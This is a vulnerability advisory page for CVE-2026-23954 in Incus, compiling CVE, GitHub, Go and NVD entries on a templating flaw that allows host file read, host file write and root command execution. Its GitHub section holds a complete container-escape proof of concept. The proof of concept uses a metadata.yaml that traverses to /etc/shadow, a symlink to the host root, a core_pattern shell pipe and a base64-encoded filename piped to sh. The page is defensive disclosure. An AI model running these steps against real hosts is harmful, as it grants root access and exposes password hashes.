8.7high
Incus container image templating arbitrary host file read and write
- Severity
- 8.7high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.78% (higher than 57% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-7f67-crqm-jgh7GO-2026-4357
Description
Incus is a system container and virtual machine manager. Versions 6.21.0 and below allow a user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) to use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write. This ultimately results in arbitrary command execution on the host. When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. This can also be exploited in IncusOS. A fix is planned for versions 6.0.6 and 6.21.0, but they have not been released at the time of publication.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| lxc incus | >= 6.1.0, <= 6.20.0, <= 6.0.5 | CVE List |
| github.com/lxc/incus/v6/cmd/incusd (Go) | all versions | GitHub Advisory Database |
| github.com/lxc/incus (Go) | all versions | Go Vulnerability Database |
| github.com/lxc/incus/v6 (Go) | from 6.1.0 | Go Vulnerability Database |
| linuxcontainers incus | up to 6.0.5, from 6.1.0 before 6.21.0 | NVD |
All scores
| GitHub_M | 8.7high CVSS:3.1 | CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
| GitHub | 8.7high CVSS:3.1 | CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Incus is a system container and virtual machine manager. Versions 6.21.0 and below allow a user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) to use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write. This ultimately results in arbitrary command execution on the host. When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. This can also be exploited in IncusOS. A fix is planned for versions 6.0.6 and 6.21.0, but they have not been released at the time of publication.
GitHub Advisory Database
Summary
A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.
Details
When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following metadata.yaml snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadow
Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:
templates:
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tpl
Where the container root filesystem contains a symbolic link named /realroot pointing to /. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root.
This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting /proc/sys/kernel/core_pattern, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.
This vulnerability can be exploited by any user who can launch a new container with a custom image.
Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).
[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294
PoC
A proof of concept script for the following can be found attached, named template_arbitrary_write.sh, which will show reading of a file from the host filesystem (/etc/shadow), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (/template_arbitrary_write_cmd_exec_poc).
Manual Reproduction steps:
- Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs
- Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e
ln -s / rootfs/realroot) - Create a directory named “templates” alongside the rootfs directory. Include a file
core_pattern.tplcontaining|/bin/sh -c "%E" - Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (
chmod +x rootfs/stage2 - Create a
metadata.yamlfor this image. Sample listed below - Create the image archive (
tar cf poc.tar *) and import into incus (incus image import poc.tar --alias poc) - Launch the newly imported image and obtain a shell (
incus launch poc poc --ephemeral; incus shell poc) - Observe that the file
/shadowinside the container contains the contents of the/etc/shadowfile from the host (host file read vulnerability) - Compile
segfault.cinto a file namedx$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh). This filename will be interpolated into the%Evalue set in thecore_patternby the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs. - Execute the compiled binary (e.g
/x*). Observe the creation of the file/template_arbitrary_write_cmd_exec_pocon the host, containing the output of 'id' showing command execution by the host root user.
segfault.c:
int main() {
int *p = 0;
*p = 42;
return 0;
}
stage2:
#!/bin/sh
id > /template_arbitrary_write_cmd_exec_poc
metadata.yaml:
architecture: x86_64
creation_date: 1
properties:
architecture: amd64
description: Exploit
os: Exploit
release: Exploit 1.0
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadow
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tpl
Impact
A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.
Attachments
Go Vulnerability Database
Incus container image templating arbitrary host file read and write in github.com/lxc/incus
NVD (es)
Incus es un gestor de contenedores de sistema y máquinas virtuales. Las versiones 6.21.0 e inferiores permiten a un usuario con la capacidad de lanzar un contenedor con una imagen personalizada (por ejemplo, un miembro del grupo 'incus') utilizar salto de directorio o enlaces simbólicos en la funcionalidad de plantillas para lograr la lectura arbitraria de archivos del host y la escritura arbitraria de archivos del host. Esto finalmente resulta en la ejecución arbitraria de comandos en el host. Al usar una imagen con un metadata.yaml que contiene plantillas, ni las rutas de origen ni las de destino se verifican en busca de enlaces simbólicos o salto de directorio. Esto también puede ser explotado en IncusOS. Se planea una corrección para las versiones 6.0.6 y 6.21.0, pero no han sido lanzadas en el momento de la publicación.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-23954 changed 2026-01-26 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-7f67-crqm-jgh7 changed 2026-03-27 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-4357 changed 2026-02-05 | CC-BY-4.0 |
| NVD | CVE-2026-23954 changed 2026-06-17 | Public domain |